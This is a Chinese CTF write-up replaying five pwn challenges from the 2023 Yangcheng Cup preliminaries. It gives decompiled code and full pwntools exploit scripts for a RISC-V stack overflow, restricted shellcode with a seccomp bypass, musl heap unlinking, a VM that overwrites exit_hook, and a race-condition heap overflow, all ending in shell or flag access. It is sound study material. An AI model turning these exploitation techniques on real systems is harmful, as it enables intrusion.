羊城杯2023初赛_pwn_复现

文章发布时间:

最后更新时间:

这次羊城杯见识涨了不少
复现完,应该能够窥见天才殿堂的一角了吧…
2023-羊城杯-题目附件
risky-login
risc-v的题第一次看
tnnd,搞半天环境不如用ghidra

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
undefined8 FUN_123457ea(void)

{
undefined auStack_130 [288];

gp = &__global_pointer$;
FUN_123456a0();
puts("RiskY LoG1N SySTem");
puts("Input ur name:");
read(0,&DAT_12347078,8);
printf("Hello, %s");
puts("Input ur words");
read(0,auStack_130,0x120);
FUN_12345786(auStack_130);
puts("message received");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void FUN_12345786(char *param_1)

{
size_t sVar1;
char acStack_108 [248];

gp = &__global_pointer$;
sVar1 = strlen(param_1);
DAT_12347070 = (byte)sVar1; //溢出
if (8 < DAT_12347070) {
puts("too long.");
/* WARNING: Subroutine does not return */
exit(-1);
}
strcpy(acStack_108,param_1);
return;
}

溢出点在这里,强行转换为byte类型后会造成16个字节的溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void FUN_123456ee(void)

{
char *pcVar1;

gp = &__global_pointer$;
puts("background debug fun.");
puts("input what you want exec");
read(0,&DAT_12347078,8);
pcVar1 = strstr(&DAT_12347078,"sh");
if ((pcVar1 == (char *)0x0) && (pcVar1 = strstr(&DAT_12347078,"flag"), pcVar1 == (char *)0x0)) {
system(&DAT_12347078);
return;
}
puts("no.");
/* WARNING: Subroutine does not return */
exit(-1);
}

这个是后门函数,ban掉了”sh”和”flag”,可以通过cat f*来绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

#p = process('./pwn')
p = remote('tcp.cloud.dasctf.com',29560)

elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(log_level='debug')

system = 0x0000000000010760

p.recvuntil(b"Input ur name:")
p.send(b'0'*8)
p.recvuntil(b"Input ur words")
p.send(b'1'*0x100+p64(0x0000000123456EE))
p.sendline(b'cat f*')

p.interactive()

shellcode
可以执行长度为 0x10 字节的 shellcode,shellcode 指令只能为 pop/push <寄存器>。

解题的关键点有两个:
(1) shellcode 地址位于栈上;
(2) 开头可以写任意 2 字节数据到栈上(也就是那个 “[2] Input: (ye / no)”)。

解题思路是先将 2 字节的 syscall 汇编指令码(\x0f\x05)写到栈上,然后利用 pop/push 指令将指令码复制到 shellcode 内存末尾,并布置好寄存器,最后调用 read 系统调用读入 cat flag shellcode 到 shellcode 内存上。

栈上有一个缓冲区地址恰好指向我们输入的 syscall 指令码,可以把这个缓冲区地址 pop 到 rsp,将 syscall 指令码 pop 到某个寄存器后,再次利用 pop/push 指令将 rsp 改成事先保存好的 shellcode 内存地址,最后利用 pop 指令将 syscall 指令码写到 shellcode 内存地址上即可。

执行 shellcode 前加载了 seccomp 沙盒,只能调用 open, write, read 和 dup2 系统调用,并限制 read 和 write fd 参数的范围(read 限制 fd <=2、write 限制 fd >2)。 fd 限制可以利用 dup2 重定向 fd 来绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64", log_level="debug")

p = remote("tcp.cloud.dasctf.com", 27135)

p.sendafter("[2] Input: (ye / no)", b"\x0f\x05")

sc1 = asm("""
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi

pop rbx
pop rbx
pop rsp
pop rdx

push rsi
pop rsp
pop rbx
pop rbx
pop rbx
push rdx
push rdx
""")

p.sendafter("[5] ======== Input Your P0P Code ========", sc1)

sc2 = "nop\n"*0x12
sc2 += """
mov rsp, r12

mov rax, 0x67616c662f
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall

mov rdi, rax
mov rsi, 0
mov rax, 33
syscall

mov rdi, 1
mov rsi, 23
mov rax, 33
syscall

mov rdi, 0
mov rsi, rsp
mov rdx, 0x100
mov rax, 0
syscall

mov rdi, 23
mov rax, 1
syscall
"""

p.send(asm(sc2))

p.interactive()

cookieBox
先贴篇文章https://www.anquanke.com/post/id/202253#h3-12
很详细,看完来看题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
char *v3; // rdx
const char *v4; // rdi
char v5[256]; // [rsp+10h] [rbp-110h] BYREF
_QWORD v6[2]; // [rsp+110h] [rbp-10h] BYREF

v6[1] = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
v3 = v5;
memset(v5, 0, sizeof(v5));
v4 = (const char *)v6;
while ( 1 )
{
sub_400CE8(v4, 0LL, v3);
switch ( (unsigned int)sub_400980() )
{
case 1u:
sub_400A50();
break;
case 2u:
sub_400B69();
break;
case 3u:
sub_400C59();
break;
case 4u:
sub_400BE1();
break;
case 5u:
exit(0);
default:
v4 = "invalid choice";
puts("invalid choice");
break;
}
}
}

常规菜单题,增删改查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sub_400C59()
{
unsigned int v1; // [rsp+Ch] [rbp-4h]

puts("Please input the idx:");
v1 = sub_400980();
if ( v1 <= 0xF && (&buf)[v1] && *((_DWORD *)&nbytes + v1) )
{
puts("Please input the content:");
read(0, (&buf)[v1], *((unsigned int *)&nbytes + v1));
puts("Done");
}
return puts("Idx Error");
}

free之后没有把指针清空,存在UAF

第一步泄漏 libc 基址,musl-libc 把程序内存或者 libc 内存的空闲内存划为堆内存,耗尽后才会申请动态内存。泄露堆地址就可以得到程序基址或 libc 基址

leak 之后可以利用 unbin 进行unlink,unbin 没有检查prev和next指针是否合法,通过堆溢出我们可以改写这两个指针,利用 unbin 向任意地址写指针地址,即*(uint64_t*)(prev + 2) = next和*(uint64_t*)(next + 3) = prev。

可以将 prev改成 io(stdin stdout),然后把 next改成 bss地址,然后申请一个 chunk 0x100,就可以实现将任意地址写入 bss 地址,然后再申请,即可任意申请io写io,然后改io为 binsh 打system即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

elf = ELF('cookieBox')
libc = ELF('libc.so')

p = process('./cookieBox')
#p = remote('tcp.cloud.dasctf.com', 25633)

def debug():
gdb.attach(p)
pause()

def add(size, payload):
p.recvuntil(">>")
p.sendline("1")
p.recvuntil("size:\n")
p.sendline(str(size))
p.recvuntil("Content:\n")
p.send(payload)

def free(idx):
p.recvuntil(">>")
p.sendline("2")
p.recvuntil("idx:\n")
p.sendline(str(idx))

def edit(idx, payload):
p.recvuntil(">>")
p.sendline("3")
p.recvuntil("idx:\n")
p.sendline(str(idx))
p.recvuntil("content:\n")
p.send(payload)

def show(idx):
p.recvuntil(">>")
p.sendline("4")
p.recvuntil("idx:\n")
p.sendline(str(idx))

add(0x100, b'a'*8) #chunk0
add(0x100, b'a'*8) #chunk1
add(0x100, b'a'*8) #chunk2
add(0x100, b'a'*8) #chunk3

show(0)
p.recv(8)

libc.address = u64(p.recvuntil(b"\x7f").ljust(0x8,b"\x00")) - 0x292e50
success("libc.address-->"+hex(libc.address)) #leak_libc_base

stdin = libc.address + 0x292200
success("stdin-->"+hex(stdin))

system = libc.sym['system']
success("system-->"+hex(system))

bss = 0x602060
free(1)
add(0x100, b'1') #chunk4
free(1) #double_free chunk1
edit(4, p64(stdin) + p64(0x602070-0x10)) #bss_addr
#debug()
add(0x100, b"A") #chunk5,fake_chunk
payload = b"/bin/sh\x00"
payload += b'A' * 0x20
payload += p64(0x22222222) # stdin -> wpos -> stdin -> wbase
payload += b'A' * 8
payload += p64(0x11111111)
payload += b'A' * 8
payload += p64(system)
edit(2, payload)

p.recvuntil(">>")
p.sendline("5")

p.interactive()

easy_vm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("It's a easy vmpwn,enjoy it");
ptr = malloc(0x1000uLL);
malloc(0x20uLL);
free(ptr);//进入unsortedbin,其 fd、bk 指针指向 main_arena+88 的位置(第一个进入unsortedbin的chunk的性质),可以泄露libc
ptr = 0LL;
qword_201040 = (__int64)malloc(0x1000uLL);
buf = malloc(0x1000uLL);
puts("Inputs your code:");
read(0, buf, 0x1000uLL);
while ( *(_BYTE *)buf )
{
switch ( *(_BYTE *)buf )
{
case 1:
qword_201040 += 8LL;
*(_QWORD *)qword_201040 = qword_201038; //保存201038的内容
buf = (char *)buf + 8;
break;
case 2:
qword_201038 = *(_QWORD *)qword_201040;
qword_201040 -= 8LL;
buf = (char *)buf + 8;
break;
case 3:
*(_QWORD *)qword_201038 = *(_QWORD *)qword_201040;//赋值,将201040里的内容赋给201038
buf = (char *)buf + 8;
break;
case 4:
qword_201038 ^= *((_QWORD *)buf + 1);
buf = (char *)buf + 16;
break;
case 5:
qword_201038 = *(_QWORD *)qword_201038;
buf = (char *)buf + 8;
break;
case 6:
qword_201038 += *((_QWORD *)buf + 1);
buf = (char *)buf + 16;
break;
case 7:
qword_201038 -= *((_QWORD *)buf + 1);
buf = (char *)buf + 16;
break; //case6 case7可以实现调偏移
default:
buf = (char *)buf + 8;
break;
}
}
exit(0);
}

one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL

先给 0x201038 一个 libc(2),算 one_gadget(7)保存到 0x201040(1),再算 exit_hook(6),用(3)将 one_gadget 赋值到 0x201038 的 exit_hook 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#p = process('./easy_vm')
p = remote('tcp.cloud.dasctf.com',23804)
libc = ELF('./libc-2.23.so')
libc = 0x3c4b78
exit1 = 0x5f0040 + 3848
exit2 = 0x5f0040 + 3856
one_gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
payload = p64(2) #libc
payload+= p64(7)
payload+= p64(libc - one_gadget[3]) #calc_onegadget
payload+= p64(1) #gadget_push_in_201040
payload+= p64(6)
payload+= p64(exit1 - one_gadget[3])#calc_exit_hook
payload+= p64(3)
#gdb.attach(p)
p.recvuntil('Inputs your code:\n')
p.sendline(payload)
p.interactive()

heap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
unsigned __int64 __fastcall sub_1732(char *a1)
{
int v2; // [rsp+10h] [rbp-120h]
int v3; // [rsp+14h] [rbp-11Ch]
const char *src; // [rsp+18h] [rbp-118h]
const char *srca; // [rsp+18h] [rbp-118h]
char dest[264]; // [rsp+20h] [rbp-110h] BYREF
unsigned __int64 v7; // [rsp+128h] [rbp-8h]

v7 = __readfsqword(0x28u);
src = strtok(a1, ":");
if ( src )
{
strcpy(a1, src);
srca = strtok(0LL, &byte_21DA);
if ( srca )
strcpy(dest, srca);
}
puts("The paper index loading");
v2 = atoi(a1);
v3 = *(_DWORD *)(*((_QWORD *)s + v2) + 8LL);
sleep(1u); //竞争窗口
if ( (unsigned int)v2 <= 0xF && *((_QWORD *)s + v2) )
{
printf("paper index: %d\n", (unsigned int)v2);
puts("Input the new paper content");
strncpy(**((char ***)s + v2), dest, v3);
puts("Done");
}
else
{
puts("Invalid paper index");
}
return v7 - __readfsqword(0x28u);
}

多线程未加锁导致竞争条件。edit 存在 1 秒的竞争窗口,且竞争窗口过后没有更新 v3。
同时没有限制堆块大小,可以申请一个大chunk1
在竞争窗口中free掉chunk1,同时申请小堆块chunk2
此时可以对chunk2进行溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __fastcall sub_1469(const char *a1)
{
int result; // eax
int i; // [rsp+10h] [rbp-10h]
int v3; // [rsp+14h] [rbp-Ch]
_DWORD *v4; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15 && *((_QWORD *)s + i); ++i )
;
if ( i == 16 )
return puts("paper pool is full");
v3 = strlen(a1);
if ( v3 <= 79 || v3 > 104 )
return puts("paper size error");
v4 = malloc(0x10uLL);
*(_QWORD *)v4 = malloc(v3);
v4[2] = v3;
printf("creating paper with index %d\n", (unsigned int)i);
puts("Input the paper content");
strncpy(*(char **)v4, a1, v3);
puts("Done");
result = (int)v4;
*((_QWORD *)s + i) = v4;
return result;
}

溢出对象是保存堆块地址的小堆块,也就是这里的v4
因为edit用的是

1
strncpy(*(char **)v4, a1, v3);

我们要注意溢出空间不能过大,以免破坏其他数据

首先泄漏 libc 地址。线程的堆块都分配至单独的线程堆 (堆地址以 0x7f 开头),arena 的位置就位于堆空间上方,所以只要溢出修改 ptr 低位就可以将其指向 arena,从而泄漏 arena 上的 libc 地址(泄漏出来的地址恰好是 main arena 地址)。

getshell 方法是泄漏 libc 上的栈地址,然后将栈上的 main 函数返回地址修成 one gadget 地址。libc 上有两处地方可以泄漏栈地址,__environ 和 __libc_argv,这道题只能使用后者,因为前者地址的最低位恰好是空字节。

栈需要修改两个地方,第一个是前面提到的 main 函数返回地址,第二个是 main 函数的 saved rbp。修改 saved rbp 是为了满足 one gadget 利用条件(下图这个),原来的 saved rbp 是数值 1,需要把它改成任意一个可写内存地址。

1
2
3
4
5
0xebdb3 execve("/bin/sh", rbp-0x50, [rbp-0x70])
constraints:
address rbp-0x50 is writable
[rbp-0x50] == NULL || rbp-0x50 == NULL
[[rbp-0x70]] == NULL || [rbp-0x70] == NULL
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

import time

context(arch="amd64", log_level="debug")

p= process('./heap')
elf = ELF('./heap')
#p = remote("tcp.cloud.dasctf.com", 21479)

libc = ELF("./libc-3.35.so")

sla = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x)
sl = lambda x : p.sendline(str(x) if not isinstance(x, bytes) else x)
sa = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)

def add(ctx):
sla(f"1 {ctx}", "Your chocie:")

def show(ctx):
sla(f"2 {ctx}", "Your chocie:")

def edit(idx, ctx):
pp = b"3 " + str(idx).encode() + b":" + ctx
sla(pp, "Your chocie:")

def edit_no(idx, ctx):
pp = b"3 " + str(idx).encode() + b":" + ctx
sl(pp)

def free(idx):
sla(f"4 {idx}", "Your chocie:")

def free_no(idx):
sl(f"4 {idx}")

add("A"*0x50) #chunk0
add("B"*0x68)
add("C"*0x61)
add("a"*0x50) #chunk3
add("b"*0x68)
add("c"*0x62)
add("1"*0x50) #chunk6
add("2"*0x68)
add("3"*0x66)
add("1"*0x50) #chunk9
add("2"*0x68)
add("3"*0x66)


free(0)
edit(2, b"X"*0x60+b"\x80")
free(2)
add("C"*0x61) #chunk0
add("A"*0x50) #chunk2

time.sleep(3)


free(3)
edit(5, b"x"*0x60+b"\xa0\x08")
free(5)
add("c"*0x62) #chunk3
add("a"*0x50) #chunk5

time.sleep(3)

show(4)
p.recvuntil("paper content: ")
libc.address = u64(p.recv(6).ljust(8, b'\x00')) - 0x219c80
success("libcbase: 0x%lx", libc.address)


p_stack = libc.address + 0x21aa20
edit_no(1, p64(p_stack)[:6])

time.sleep(3)

show(0)
p.recvuntil("paper content: ")
stack = u64(p.recv(6).ljust(8, b'\x00'))
main_ret_addr = stack-0x110

success("stackbase: 0x%lx", libc.address)
success("main ret address ptr: 0x%lx", main_ret_addr)


free_no(6)
edit(8, b"0"*0x60+p64(main_ret_addr-8)[:6])
free(8)
add("3"*0x66) #chunk3
add("1"*0x50) #chunk5

time.sleep(3)

writable_ptr_b = p64(libc.address + 0x21c240)

edit(7, writable_ptr_b[:6])


free_no(9)
edit(11, b"0"*0x60+p64(main_ret_addr)[:6])
free(11)
add("3"*0x66) #chunk3
add("1"*0x50) #chunk5

time.sleep(3)

one_gadget_b =p64(libc.address + 0xEBD48)
edit(10, one_gadget_b[:6])

time.sleep(3)

p.sendline("5")

p.interactive()